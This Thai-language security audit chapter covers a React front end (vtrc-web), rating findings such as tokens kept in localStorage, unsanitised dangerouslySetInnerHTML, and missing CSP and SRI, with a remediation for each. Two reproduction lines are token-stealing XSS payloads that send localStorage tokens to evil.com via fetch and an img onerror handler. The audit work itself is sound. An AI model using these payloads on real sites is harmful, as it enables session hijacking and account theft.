4.1.5 · Security analysis
บทนี้เจาะลึก finding ด้าน security ของ vtrc-web — ทั้งที่เกิดจาก code เองและที่เกิดจาก architecture (token storage, env-based endpoint)
Security scorecard
| Dimension | สถานะ | เหตุผล |
|---|---|---|
| Token storage | 🔴 | localStorage (XSS accessible) |
| XSS protection | 🔴 | หลายสิบไฟล์ใช้ dangerouslySetInnerHTML |
| CSP | 🔴 | ไม่มี Content-Security-Policy header |
| Bundle integrity | 🔴 | ไม่มี SRI hash |
| Auth gate | 🟡 | route-level conditional render ไม่ใช่ central guard |
| ErrorBoundary | 🔴 | ไม่มี ทำให้ crash = white screen |
| HTTPS enforcement | 🟢 | nginx + cert-manager ใน production |
| Input validation | 🟡 | AntD form rules + backend validation (แต่ไม่ client-side type check) |
Severity: Critical (🔴)
SEC-VTRC-WEB-01 · Token ใน localStorage — XSS accessible
ที่: vtrc-web/src/utils/auth.js (ทุกที่ที่เรียก setToken/getToken)
Evidence — pattern:
// src/utils/auth.js (pattern)
export const setToken = (token) => {
localStorage.setItem('token', token.accessToken)
localStorage.setItem('refreshToken', token.refreshToken)
sessionStorage.setItem('token', token.accessToken)
}
export const getToken = () => ({
token: localStorage.getItem('token') || sessionStorage.getItem('token'),
refreshToken: localStorage.getItem('refreshToken')
})Exploit: ถ้ามี XSS ใด ๆ ในหน้า (เช่นจาก dangerouslySetInnerHTML ที่ inject แล้ว) — script ฝั่ง attacker สามารถ localStorage.getItem('token') แล้วส่งออก domain อื่นได้
Reproduction:
// ถ้า XSS สำเร็จในหน้า vtrc-web:
fetch(`https://evil.com/steal?t=${localStorage.getItem('token')}&r=${localStorage.getItem('refreshToken')}`)Impact: token hijack → attacker impersonate user ได้นานเท่า refreshToken TTL (30 วัน)
Remediation:
- เปลี่ยนเป็น HttpOnly cookie + SameSite=Strict + Secure flag — ป้องกัน JS access
- ถ้าต้องใช้ localStorage — เพิ่ม CSP ที่เข้มงวด (
script-src 'self') เพื่อกัน XSS - Implement token rotation ทุก 24 ชม. แม้ refreshToken ยังไม่หมด
SEC-VTRC-WEB-02 · dangerouslySetInnerHTML — XSS risk ในหลายสิบไฟล์
ที่: กระจายทั่ว src/pages/user/ — pattern ที่พบใน News, Policy, About detail pages
Evidence — pattern:
// News detail page (pattern)
render() {
const { news } = this.state
return (
<div dangerouslySetInnerHTML={{ __html: news.content }} />
)
}Exploit: ถ้า admin ฝั่ง vtrc-rc-backoffice สร้าง news โดยใส่ <script>...</script> ใน content — script ทำงานใน browser ของทุก user ที่เปิดหน้า
Impact:
- Token theft (ร่วมกับ SEC-VTRC-WEB-01)
- Session hijack
- Phishing overlay (แสดง form login ปลอมทับ)
Reproduction:
- Login
vtrc-rc-backofficeในฐานะ admin - สร้าง news ใหม่ใน content ใส่:
<img src=x onerror="fetch('https://evil.com/?t='+localStorage.token)"> - user เปิดหน้า news → script ทำงาน → token ส่งออก
Remediation:
- Sanitize HTML ก่อน render — ใช้
dompurifylibrary - ใช้ CSP
script-src 'self'เพื่อกัน inline script - ใช้ markdown renderer แทน HTML raw ถ้าเป็นไปได้
SEC-VTRC-WEB-03 · ไม่มี Content-Security-Policy header
ที่: nginx config ของ production deployment
Impact: browser ยอมรับ script จาก source ใด ๆ ทำให้ XSS ทำงานได้
Remediation: เพิ่ม header Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://vtrcapi.redcross.or.th
SEC-VTRC-WEB-04 · ไม่มี Subresource Integrity (SRI) บน bundle
ที่: public/index.html ไม่มี integrity= attribute บน <script> tag
Impact: ถ้า CDN หรือ MITM attacker เปลี่ยน main.<hash>.js — browser โหลดและ execute โดยไม่ตรวจ
Remediation: เพิ่ม SRI hash ตอน build — webpack plugin webpack-subresource-integrity
Severity: High (🟡)
SEC-VTRC-WEB-05 · ไม่มี ErrorBoundary — white screen บน crash
ที่: src/index.js + src/containers/App/index.js
Evidence: ไม่พบการใช้ ErrorBoundary component ใด ๆ ใน codebase
Impact: ถ้า component ใด ๆ throw ระหว่าง render (เช่น news.content เป็น null แล้วเรียก .length) — ทั้งหน้าขาว ไม่มี error message ไม่มี recovery path
Remediation: ล้อม <App /> ด้วย <ErrorBoundary> component ที่ catch error, แสดง fallback UI และ log error ไปยัง monitoring service
SEC-VTRC-WEB-06 · checkLinkURL() env branching ที่ client
ที่: src/config/apollo.js — checkLinkURL() function
Evidence: ใช้ window.location.href.includes(...) เพื่อตัดสินใจ GraphQL endpoint ทำให้ client รู้ทุก endpoint URL
Impact: ไม่ใช่ security hole โดยตรง แต่ทำให้โครงสร้าง backend ปรากฏใน JS bundle (attacker เห็น prod/uat URL ทั้งหมด)
Remediation: ใช้ relative path /api/graphql ที่ backend เดียวกันเสมอ ให้ nginx หรือ reverse proxy จัดการ routing
SEC-VTRC-WEB-07 · Console log ใน production
ที่: กระจายทั่ว codebase (console.log(...))
Evidence: หลายร้อย console.log statement ใน source บางจุด log token + userData
Impact: ถ้าเปิด DevTools → เห็นข้อมูล sensitive ใน console
Remediation:
- Babel plugin
babel-plugin-transform-remove-consoleสำหรับ production build - หรือ wrap console.log ใน helper ที่ check
process.env.NODE_ENV === 'development'
Severity: Medium (🟢)
SEC-VTRC-WEB-08 · ไม่มี auth gate ที่ root
ที่: src/containers/App/index.js
Evidence: routing ใช้ pattern เดียวกันทั้ง authenticated และ unauthenticated route — เช็ค isLoggedIn() inline ในแต่ละ route แทนที่จะมี <PrivateRoute> component แยก
Impact: developer อาจลืมเพิ่ม auth check ใน route ใหม่ ทำให้หน้า admin หรือ sensitive เปิดโดยไม่ login
Remediation: สร้าง <PrivateRoute> component ที่ auto-redirect ไป /login ถ้า !isLoggedIn()
SEC-VTRC-WEB-09 · ไม่มี CSRF protection
ที่: ทุก mutation request
Evidence: token ส่งผ่าน Authorization: Bearer header (ไม่ใช่ cookie) → ไม่จำเป็นต้องมี CSRF token ตามหลักการ แต่บางทีมี axios fallback ที่ใช้ cookie
Impact: ถ้าใช้ cookie-based auth ในบาง flow — CSRF risk
Remediation: ใช้ SameSite=Strict cookie ถ้ามี cookie auth
สรุป
vtrc-web มี security issues ที่รุนแรงแต่ "ยังไม่เกิด incident" เพราะ:
- ใช้งาน internal (Red Cross staff) ไม่ใช่ public site
- Attacker ต้องมี XSS ก่อน ซึ่งต้อง penetrate
vtrc-rc-backofficeadmin ก่อน - Token TTL 15 นาที ทำให้ hijack มี window จำกัด
แต่ถ้าเปิด public หรือมี motivation สูง — finding เหล่านี้เป็นจุดเริ่มต้นของ data breach ขนาดใหญ่
Priority fix order:
dompurifyสำหรับdangerouslySetInnerHTML(ราคาถูกสุด, impact มาก)- CSP header (config nginx)
- HttpOnly cookie สำหรับ token (ต้องเปลี่ยนทั้ง frontend + backend)